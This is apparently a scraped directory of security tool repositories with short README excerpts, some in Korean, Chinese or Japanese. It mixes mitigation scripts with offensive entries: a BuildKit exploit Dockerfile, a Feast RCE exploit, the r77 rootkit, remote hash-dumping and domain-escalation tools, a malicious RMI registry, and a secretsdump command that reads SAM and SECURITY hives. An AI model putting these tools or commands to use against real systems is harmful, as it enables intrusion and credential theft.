CVE-2024-23653

syntax=docker.io/zdfa/evilerfile FROM alpine RUN grep Cap /proc/self/status sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. ➜ cp sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. + Building 5.3s 6/6 FINISHED...

EXPLOIT-CVE-2026-56121

CVE-2026-56121 — Feast Unauthenticated RCE ApplyFeatureView gRPC Deserialization Unauthenticated remote code execution in Feast ⚠️ For authorized security testing and education only. Only run this against the bundled Docker lab or systems you own / are explicitly permitted to test. Unauthorized us...

r77-rootkit

r77 루트킷 파일리스 링 3 루트킷 r77은 모든 것을 숨기는 링 3 루트킷입니다: 파일, 디렉터리 프로세스 및 CPU/GPU 사용량 레지스트리 키 및 값 서비스 TCP 및 UDP 연결 정션, 명명된 파이프, 예약된 작업 접두사로 숨기기 "$77"로 시작하는 모든 것이 숨겨집니다. 설정 시스템 동적 설정 시스템은 PID 및 이름 으로 프로세스를, 전체 경로 로 파일 시스템 항목을, 특정 포트의 TCP 및 UDP 연결 등을 숨길 수 있습니다. 설정은 HKEYLOCALMACHINE\SOFTWARE$77config에 위치하며, 권...

harbor

Team Introduction Chongqing Jiugongge Security Team is committed to sharing open-source security tools, with research directions covering red-blue confrontation, Web security, mobile security, security development, enterprise security construction, IoT/Industrial Control Security/AI/Quantum...

CVE-2018-8410

CVE-2018-8410 PoC for for Windows Kernel Registry Elevation of Privilege Vulnerability...

Registry-Spy

Registry Spy: Cross-Platform Windows Registry Browser Registry Spy is a free, open-source cross-platform Windows Registry viewer. It is a fast, modern, and versatile explorer for raw registry files. Features include: Windows, macOS, and Linux support Fast, on-the-fly parsing means no upfront...

kubebot

Kubebot A security testing Slackbot built with a Kubernetes backend on the Google Cloud Platform NOTE: I am not actively maintaining this project anymore. I am working on v2 of Kubebot along with a couple other folks which will likely be presented at one of the upcoming security conferences...

jmxbf

jmxbf - A brute force program to test weak accounts configured to access a JMX Registry Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Daniele Costa, daniele dot costa at nccgroup dot trust http://www.github.com/nccgroup/jmxbf Released under AGPL see LICENSE for...

Disable-IPv6-CVE-2024-38063-Fix

Disable IPv6 to Mitigate CVE-2024-38063 Without Installing KB Update Overview This script is designed to mitigate the effects of the critical vulnerability CVE-2024-38063, a remote code execution RCE vulnerability in the Windows TCP/IP stack related to IPv6. By disabling IPv6 on the system, this...

CLSIDFinder

CLSIDFinder Invoke-CLSIDFinder enumerates CLSID and AppID entries from the Windows registry to identify COM objects associated with Windows services via the LocalService value. The function correlates these entries, exports the results to a CSV file, and attempts COM activation when the related...

printix-CVE-2022-29552

CVE-2022-29552 Simple Release | Print Friendly A "Incorrect Use of Privileged APIs" vulnerability in PrintixService.exe, in Kofax Printix's "Printix Secure Cloud Print Management", Version 1.3.1156.0 and below allows a Local Or Remote attacker the ability change any values within the...

BackupOperatorToDA

From Backup Operator To Domain Admin If you compromise an account member of the group Backup Operators you can become the Domain Admin without RDP or WinRM on the Domain Controller. All credit from filipdragovic with his inital POC ! I build this project because I wanted to have a more generic...

go-secdump

go-secdump 描述 go-secdump 是一个用于从 SAM 注册表配置单元远程提取哈希值以及从 SECURITY 配置单元提取 LSA 机密和缓存的哈希值的工具，无需远程代理，也无需接触磁盘。 该工具基于 go-smb 库构建，并利用它与 Windows 远程注册表通信，直接从内存中检索注册表键。 该工具的构建是为了学习经验，并作为概念验证，证明应该能够远程从 SAM 配置单元检索 NT 哈希值、LSA 机密以及域缓存凭据，而无需先将注册表配置单元保存到磁盘，然后再在本地解析它们。 需要克服的主要问题是，SAM 和 SECURITY 配置单元仅可由 NT...

klar

Klar ClairとDocker Registryの統合（Clair API v1およびv3をサポート） Klarは、Clair（https://github.com/coreos/clair）を使用して、プライベートまたはパブリックなDockerレジストリに保存されたイメージのセキュリティ脆弱性を分析するためのシンプルなツールです。Klarは統合ツールとして使用されるように設計されているため、環境変数に依存します。依存関係が不要な単一のバイナリです。 Klarは、DockerレジストリとClair間のイメージチェックを調整するクライアントとして機能します。 バイナリインストール...

CVE-2022-30190

CVE-2022-30190 Mitigation for CVE-2022-30190 Script requires to be run as Adminstrator. This script has been tested with Connectwise Automate RMM tool for deployment. I found this solution cleaner than backup up and deleting anything from the registry, as this can simply update the DWORD key valu...

iMonitor

中文 Introduction iMonitor Endpoint Behavior Analysis System is a endpoint behavior monitoring and analysis software based on iMonitorSDK. Provides monitoring of system behaviors such as processes, files, registry, and networks. Support extensions and scripts, you can easily customize and add more...

RemoteRecon

RemoteRecon Remote Recon and Collection RemoteRecon provides the ability to execute post-exploitation capabilities against a remote host, without having to expose your complete toolkit/agent. Often times as operator's we need to compromise a host, just so we can keylog or screenshot or some other...

CVE-2021-36934

CVE-2021-36934 python secretsdump.py -sam C:\Windows\Temp\SAM -security C:\Windows\Temp\SECURITY -system C:\Windows\Temp\SYSTEM LOCAL...

PrintNightmare-Patcher

Introduction PrintNightmare-Patcher, a simple tool that resolves the PrintNightmare vulnerability, which occurs to print spooler service for Windows machines CVE-2021-34527. In addition, it checks if your system has the relevant security update for it or not. Installation git clone...

ermir

Ermir Ermir는 악성/가짜 RMI 레지스트리로, 표준 RMI 메서드list/lookup/bind/rebind/unbind를 호출하는 모든 Java 코드의 안전하지 않은 역직렬화를 악용합니다. 요구 사항 Ruby v3 이상. 설치 rubygems.org에서 Ermir 설치: $ gem install ermir 또는 저장소를 클론하고 gem 빌드: $ git clone https://github.com/hakivvi/ermir.git $ rake install 사용법 Ermir는 CLI gem으로, ermir와...